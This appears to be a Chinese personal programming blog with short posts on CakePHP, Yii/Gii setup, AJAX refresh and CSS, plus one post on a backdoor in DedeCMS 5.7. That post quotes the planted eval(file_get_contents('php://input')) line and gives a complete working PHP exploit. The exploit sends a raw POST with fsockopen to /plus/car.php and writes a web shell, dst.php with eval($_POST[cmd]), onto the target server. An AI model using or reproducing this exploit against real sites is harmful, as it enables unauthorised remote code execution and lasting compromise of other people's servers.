cakephp动态切换模型所使用的表

Continue Read..

在一个model中使用多个表,但是由于在model中只能声明一个

var $useTable = 'aaa';

 

查资料,都说在控制器中设置useTable

$this->loadModel('Company');

$this->Company->table = 'another_company_table';

这样设置后测试,还是不对,debug信息发现表是更改成功了,但是字段还是默认的useTable 指定的表的字段,

所以各种报错啊,

最后切到英文搜索,发现米国人解决了,如下

在控制器中动态切换

$this->Company->setSource('another_company_table');

测试成功,这个setSource在手册找不到啊,尼玛!!!

http://nuts-and-bolts-of-cakephp.com/2008/11/19/changing-models-table-from-the-controller/


 

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

cakephp调试时,查看执行的sql语句

Continue Read..
有时候出现莫名奇妙的错误,想要知道sql到底执行了没,可以用以下代码
$sources = ConnectionManager::sourceList(); 
if (!isset($logs)): 
$logs = array(); 
foreach ($sources as $source): 
$db =& ConnectionManager::getDataSource($source); 
if (!$db->isInterfaceSupported('getLog')): 
continue; 
endif; 
$logs[$source] = $db->getLog(); 
endforeach; 
endif;pr($logs);

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

在cakephp框架外操作cakephp的session

Continue Read..

由于业务需要,现在要整合discuz和一套用cakephp写的程序,要求同步用户中心,同步登录。

思路很简单,dz下的api文件夹和uc_client拷到cakephp的webroot目录,用来和dz通信

cakephp这边做同步登录不准备直接修改登录退出代码,所以用插件的形式做,只需在原有登录退出的时候,调用下插件

用户通过cakephp应用登录退出时,通过插件得到同步登录退出的js代码(uc_user_synlogout),通知其他应用登录退出,

用户通过其他应用登陆退出时,uc.php接收其他应用的登录退出通知,在uc.php里面的2个函数登陆退出,

修改uc.php的synlogin和synlogout函数,在这里写cakephp的登录验证和退出.

 

流程就是这样,但是在实施过程中出现一个难题,

cakephp应用使用了框架自带的session机制,我们在uc.php里面不能获取到$_SESSION!!!

print_r($_SESSION);显示空值,但是在cakephp框架的控制器里面却可以显示,这个问题困扰了一段时间,

国内的资料有限,搜索完全找不到线索,只好把目光转向国外了,google搜索“cakephp session without”找到一点点信息,

不过还是没有实质进展,想想不对,在搜“cakephp session outside”,有了,这框架还是国外火啊。。。

 

解决如下:

Using Cake sessions outside of Cake

By brightball

While recently working on a CMS tool, I needed to pass some in-session information. I was using Cake's database sessions and it wasn't playing nice with outside applications so I set this up to allow my outside application to use Cake's session handlers.

The short version is that you need to make sure all of the path's are setup correctly, which happens in index.php. 

 

Copy your index.php file into another file (I called it cake_session.php). This file needs to be in the webroot because index.php initializes the paths based on the location of webroot.

 

In your cake_sessions.php file find this line (should be line 86):

 

if (isset($_GET['url']) && $_GET['url'] === 'favicon.ico') { 

 

And delete everything from there down. Now just add this code:

 

if(App::import('Core','Session')) { 

   $session = new CakeSession(); 

   $session->start(); 

 

Check your $_SESSION variable to make sure everything works. You should be able to just include this file anywhere that you want to use your cake session.

 

原理很简单,就是在框架外载入框架初始化,并引用cakephp的seesion类。

需要注意的是,创建的这个新的文件,需要放在webroot下和index.php同级,

然后在到api目录下的uc.php中的synlogin和synlogout函数中引用这个文件,

并且,uc.php中不能写session_start();这会打乱cakephp的session机制,使之无法生效的。

 

总结:请学会google

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

dedecms5.7一句话后门利用exp

Continue Read..
author:舞林
tx微博:http://t.qq.com/wulinlw

晚上看到这个http://www.wooyun.org/bug.php?action=view&id=5416
shopcar.class.php被植入一句话
  1. @eval(file_get_contents('php://input'));
复制代码
去官网下了一套回来,看了下代码,
  1. class MemberShops
  2. {
  3.     var $OrdersId;
  4.     var $productsId;

  5.     function __construct()
  6.     {
  7.         $this->OrdersId = $this->getCookie("OrdersId");
  8.         if(empty($this->OrdersId))
  9.         {
  10.             $this->OrdersId = $this->MakeOrders();
  11.         }
  12.                 @eval(file_get_contents('php://input'));
  13.     }

  14.     function MemberShops()
  15.     {
  16.         $this->__construct();
  17.     }
复制代码
shopcar.class.php文件中只有一个MemberShops类,构造函数里面出现了后门,当类被实例化的时候就会自动执行构造函数,程序猿你懂的。。。
eval执行和file_get_contents获取内容不用说了,php://input这个是输入流,接收的是post内容,但是post类型不能为multipart/form-data

在eclipse里搜索new MemberShops,找到/plus/car.php里面实例化了这个类,
  1. require_once (dirname(__FILE__) . "/../include/common.inc.php");
  2. define('_PLUS_TPL_', DEDEROOT.'/templets/plus');
  3. require_once(DEDEINC.'/dedetemplate.class.php');
  4. require_once DEDEINC.'/shopcar.class.php';
  5. require_once DEDEINC.'/memberlogin.class.php';
  6. $cart = new MemberShops();
复制代码
开始的时候写了个简单的表单去测试,发现php://input的内容中特殊符号会被urlencode,很奇怪吧,明明取的是post,却像get一样被编码,既然如此,那就自己构造post了,抓个包,用fsockopen()函数模拟post提交吧,exp如下
  1. <?php
  2. //author:舞林
  3. //date  : 2012-03-21 00:31:05
  4. //shell一句话地址,/plus/dst.php 密码cmd
  5. //www.t.com/dede/plus/car.php

  6. error_reporting(E_ERROR);
  7. set_time_limit(0);
  8. $url = 'www.t.com';    //目标站url
  9. $dir = '/dede';        //dedecms安装目录

  10. //$content = '$a=${@phpinfo()};';
  11. $content = '$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};';

  12. $data = "POST $dir/plus/car.php HTTP/1.1\r\n";
  13. $data .= "Host: localhost\r\n";
  14. $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
  15. $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
  16. $data .= "Content-Length:        ".strlen($content)."\r\n\r\n";
  17. $data .= $content."\r\n";

  18. $socket=fsockopen($url,'80');
  19. if ($socket) {
  20.         fwrite($socket,$data);
  21.         while (!feof($socket)) {
  22.                 $exp.=fgets($socket, 1024);
  23.         }
  24.         echo $exp;
  25. }else{
  26.         echo 'socket err';
  27. }

  28. ?>

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

【YII】YII的基本配置和GII的生成配置

Continue Read..

首先下载一个YII核心包。。。这个大家自己下

然后讲下载的核心包解压。。。在里面新建一个文件夹test(这个文件夹就是我们的程序文件夹)

然后讲demos/blog下面的  assets和pretected全部复制到test文件夹里面(比较蛋疼)

在test里面建立index.php写

<?php

// change the following paths if necessary
$yii=dirname(__FILE__).'/../framework/yii.php';
$config=dirname(__FILE__).'/protected/config/main.php';

// remove the following line when in production mode
defined('YII_DEBUG') or define('YII_DEBUG',true);
//echo $yii;
//echo "</br>";
//echo $config;
require_once($yii);

Yii::createWebApplication($config)->run();

?>
这里导入了2个文件,,yii.php是核心文件  ,main.php是我们的配置文件..也就是刚才复制出来的..因为是复制的别人的..
所以要改里面的配置
比如要改数据库连接  
这里就讲怎么改gii配置...默认复制过来的没有配置gii
要在里面自己加入
'modules'=>array(
        'gii'=>array(
            'class'=>'system.gii.GiiModule',
            'password'=>'111',//密码
            'ipFilters'=>array('192.168.1.49','::1')//指定访问IP
        ),
    ),
 
 
这里强调..一定不要加到components数组里面了   
然后就可以根据    http://IP/index.php/gii  来生成!

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

【JS+AJAX】无闪烁局部刷新

Continue Read..
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GBK">
<script type="text/javascript">
var xmlHttp;
function createXMLHttpRequest(){
	if(window.ActiveXObject){
		xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
	else if(window.XMLHttpRequest){
		xmlHttp = new XMLHttpRequest();
	}
}
function start(){
	createXMLHttpRequest();
	var url="XX.php"	
         xmlHttp.open("GET",url,true);
	xmlHttp.onreadystatechange = callback;
	xmlHttp.send(null);
}
function callback(){
	if(xmlHttp.readyState == 4){
		if(xmlHttp.status == 200){
			document.getElementById("showtime").innerHTML = xmlHttp.responseText;
			setTimeout("start()",1000);
		}
	}
}
start();
</script>





<body>


<table width="100%" id="showtime">
	<?php foreach($twzb as $v){  ?>
		<tr>
			<td>
				<b>[<?php echo $v['name']; ?>]</b><span><?php echo $v['twcontent']; ?></span>
				<p><?php echo date('Y-m-d',$v['twtime']); ?></p>
			</td>
		</tr>
	<?php }  ?>
</table>
</body>
</html> 
 

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权

【CSS】table隔行换色

Continue Read..
<script type="text/javascript">
function bgChange(){
  if(!document.getElementsByTagName) return false;
  var tables = document.getElementsByTagName("table");
  for(var i=0; i<tables.length; i++){
    var odd = false;
    trs = tables[i].getElementsByTagName("tr");
    for(var j=0; j<trs.length; j++){
      if(odd==true){
        trs[j].style.background = "#ccc";
        odd = false;
      }else{
        odd = true;
      }
    }
  }
}
window.onload = bgChange;
</script>

声明:此文系舞林cuznwww.wulinlw.org)原创稿件,转载请保留版权